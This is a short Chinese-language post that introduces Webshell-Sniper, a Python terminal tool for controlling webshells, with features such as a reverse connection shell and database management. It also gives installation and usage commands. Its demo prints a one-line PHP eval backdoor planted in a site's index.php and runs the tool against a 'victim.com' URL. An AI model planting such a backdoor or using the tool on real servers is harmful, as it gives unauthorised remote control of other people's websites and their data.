基于终端的Webshell​​管理器-Webshell-Sniper

Webshell-Sniper是一款使用Python编写的基于终端的Webshell管理器，和以往我们分享的Webshell管理工具有所不同，所有操作都在终端中完成。使用它可对您的网站进行远程管理。虽然它没有图形化的GUI也没有WEB界面，但这样的操作也是另有一翻感觉。

功能

• 基于终端的shell交互
• 反向连接shell（这就能做非常多的事了）
• 数据库管理

Webshell-Sniper安装与使用

环境

服务端 :
   Linux
   python 2.7
客户端 :
   apache 2.4
   php 7.0

需要注意的是，Webshell-Sniper服务端只支持Unix系统环境。

安装

git clone https://github.com/WangYihang/Webshell-Sniper
cd Webshell-Sniper
pip install -r requirements.txt

使用

Usage : 
        python webshell-sniper.py [URL] [METHOD] [AUTH]
Example : 
        python webshell-sniper.py http://127.0.0.1/c.php POST c
# Demo
# cat /var/www/html/index.php
 eval($_POST['s3cr3t']);?>
# python webshell-sniper.py http://victim.com/index.php POST s3cr3t
...

Webshell-Sniper视频演示

https://www.youtube.com/watch?v=iAUwb8SSS4shttps://asciinema.org/a/130893